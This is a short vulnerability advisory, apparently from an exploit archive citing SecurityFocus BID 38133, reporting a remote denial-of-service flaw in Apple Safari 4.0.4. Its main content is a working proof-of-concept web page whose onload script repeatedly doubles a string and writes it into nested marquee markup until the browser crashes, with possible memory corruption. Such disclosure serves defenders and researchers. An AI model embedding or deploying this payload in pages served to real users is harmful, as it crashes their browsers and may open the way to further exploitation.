source: http://www.securityfocus.com/bid/38133/info

Apple Safari is prone to a remote denial-of-service vulnerability.

Successful exploits may allow an attacker to crash the affected browser, resulting in a denial-of-service condition. Given the nature of this issue, memory corruption or code execution might be possible, but has not been confirmed.

The issue affects Safari 4.0.4; other versions may also be affected. 

<body onload="javascript:DoS();"></body> <script> function DoS() { var buffer = 'A'; for (i =0;i<150;i++) { buffer+=buffer+'A'; document.write('<html><marquee><h1>'+buffer+buffer); } } </script> 